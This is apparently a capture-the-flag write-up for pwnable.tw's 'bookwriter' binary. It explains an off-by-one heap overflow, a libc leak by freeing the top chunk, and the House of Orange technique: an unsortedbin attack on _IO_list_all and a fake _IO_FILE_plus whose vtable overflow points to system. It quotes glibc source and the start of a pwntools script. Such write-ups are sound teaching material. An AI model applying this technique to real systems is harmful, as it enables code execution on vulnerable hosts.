In the edit feature, we can overwrite the bytes right after any chunk up to the NULL byte.
In the alloc handler, it iterates once too may times through the alloc array, which means it can overlap on the first entry of the size array with a huge size which would be a chunk address, then we can easily trigger large heap overflow.
The libc version is 2.23 which means there not a lot of security checks about _IO_FILE_plus integrity compared to more recent versions.
Top chunk free’in
To target _IO_FILE_plus structures in the libc we need to leak the libc address. To do so we can overwrite the size field of the top chunk with a small value and then requesting a huge chunk which will trigger the release of the top chunk, and put it in the unsorted bin.
The mandatory thing is that new_size + &top_chunk has to be aligned on PAGE_SZ (0x1000).
To leak the address, we can alloc a chunk of size zero and print it. Given the fact that the author string is right before the alloc array and that we can overwrite the NULL byte we can in the same way leak the heap address.
$ python3 exploit.py LOCAL [*] '/home/nasm/Documents/pwn/pwnable.tw/bookwriter/bookwriter' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/nasm/Documents/pwn/pwnable.tw/bookwriter' FORTIFY: Enabled [+] Starting local process '/home/nasm/Documents/pwn/pwnable.tw/bookwriter/bookwriter': pid 19375 heap: 0x979000 libc: 0x7f301566d000
File stream exploitation
File stream exploitation is a very interesting way to drop a shell according to the primitives it allows you to leverage. The house of Orange uses the vtable field within a _IO_FILE_plus structure to hiijack the control flow.
According to the libc source code, here is the definition of struct _IO_FILE_plus, _IO_FILE and _IO_jump_t:
/* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
/* The 'overflow' hook flushes the buffer. The second argument is a character, or EOF. It matches the streambuf::overflow virtual function. */ typedefint(*_IO_overflow_t)(_IO_FILE *, int);
The __overflow function pointer is called especially in the _IO_flush_all_lockp function, to really understand how you can reach this function I will put right below all the backtrace from the malloc_printerr function.
staticvoid malloc_printerr(int action, constchar *str, void *ptr, mstate ar_ptr) { /* Avoid using this arena in future. We do not attempt to synchronize this with anything else because we minimally want to ensure that __libc_message gets its resources safely without stumbling on the current corruption. */ if (ar_ptr) set_arena_corrupt (ar_ptr);
// => __libc_message is always taken as far as I know when an inconsistency is detected since there is an error to print, but action & 2 is true, which means that anyway, the abort is called as we can see right after in __libc_message.
/* Abort with an error message. */ void __libc_message (int do_abort, constchar *fmt, ...) { va_list ap; int fd = -1;
va_start (ap, fmt);
#ifdef FATAL_PREPARE FATAL_PREPARE; #endif
/* Open a descriptor for /dev/tty unless the user explicitly requests errors on standard error. */ constchar *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_"); if (on_2 == NULL || *on_2 == '\0') fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
if (fd == -1) fd = STDERR_FILENO;
structstr_list *list =NULL; int nlist = 0;
constchar *cp = fmt; while (*cp != '\0') { /* Find the next "%s" or the end of the string. */ constchar *next = cp; while (next[0] != '%' || next[1] != 's') { next = __strchrnul (next + 1, '%');
if (next[0] == '\0') break; }
/* Determine what to print. */ constchar *str; size_t len; if (cp[0] == '%' && cp[1] == 's') { str = va_arg (ap, constchar *); len = strlen (str); cp += 2; } else { str = cp; len = next - cp; cp = next; }
/* We have to free the old buffer since the application might catch the SIGABRT signal. */ structabort_msg_s *old = atomic_exchange_acq (&__abort_msg, buf); if (old != NULL) __munmap (old, old->size); } } }
va_end (ap);
if (do_abort) { BEFORE_ABORT (do_abort, written, fd);
/* Kill the application. */ abort (); } }
// then abort is called
/* Cause an abnormal program termination with core-dump. */ void abort(void) { structsigactionact; sigset_t sigs;
/* First acquire the lock. */ __libc_lock_lock_recursive (lock);
/* Now it's for sure we are alone. But recursive calls are possible. */
/* Flush all streams. We cannot close them now because the user might have registered a handler for SIGABRT. */ if (stage == 1) { ++stage; fflush (NULL); }
/* Send signal which possibly calls a user handler. */ if (stage == 2) { /* This stage is special: we must allow repeated calls of `abort' when a user defined handler for SIGABRT is installed. This is risky since the `raise' implementation might also fail but I don't see another possibility. */ int save_stage = stage;
/* Now try to abort using the system specific command. */ if (stage == 6) { ++stage; ABORT_INSTRUCTION; }
/* If we can't signal ourselves and the abort instruction failed, exit. */ if (stage == 7) { ++stage; _exit (127); }
/* If even this fails try to use the provided instruction to crash or otherwise make sure we never return. */ while (1) /* Try for ever and ever. */ ABORT_INSTRUCTION; }
/* Flush all streams. We cannot close them now because the user might have registered a handler for SIGABRT. the fflush is equivalent to a call to _IO_flush_all_lockp */
int _IO_flush_all_lockp (int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp;
last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF;
if (do_lock) _IO_funlockfile (fp); run_fp = NULL;
if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; }
#ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0); #endif
return result; }
The interesting part is in the _IO_flush_all_lockp function, it takes the _IO_list_all global variable to iterate through all the file streams. What we wanna reach would be the _IO_OVERFLOW (fp, EOF) == EOF check, if the control the __overflow field of fp we could hiijack the control flow.
To do so we have to craft a fake _IO_FILE_plus structure on the heap and make the _chain field of an existing file structure point toward our fake structure.
unsortedbin attack
To control the _chain of a file structure we can overwrite the value of _IO_list_all by the address of the unsortedbin with an unsortedbin attack. Then according to the structure of the main_arena the unsortedbin is close to other bins like smallbins. Give the fact that the _chain field is at fp+0x68, we have to take a look at what there is at unsortedbin+0x68. I will not dig into the handling of bins in the main_arena so for this time let’s just assume that out of no where unsortedbin+0x68 points to small_bin[4]->bk.
So all we have to do is to craft a fake file structure of size 0x60, free it and next time unsortedbin will be requested, if the requested size is not equal to the chunk of our fake file structure, the fake file structure will be put into the right smallbin.
Put everything together
We can easily craft the vtable to initialize only the __overflow function pointer to the address of system:
# this exploit was generated via # 1) pwntools # 2) ctfmate
import os import time import pwn
# Set up pwntools for the correct architecture exe = pwn.context.binary = pwn.ELF('bookwriter') pwn.context.delete_corefiles = True pwn.context.rename_corefiles = False
host = pwn.args.HOST or'127.0.0.1' port = int(pwn.args.PORT or1337)
defremote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io
defstart(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = ''' source /home/nasm/Downloads/pwndbg/gdbinit.py b* main continue '''.format(**locals())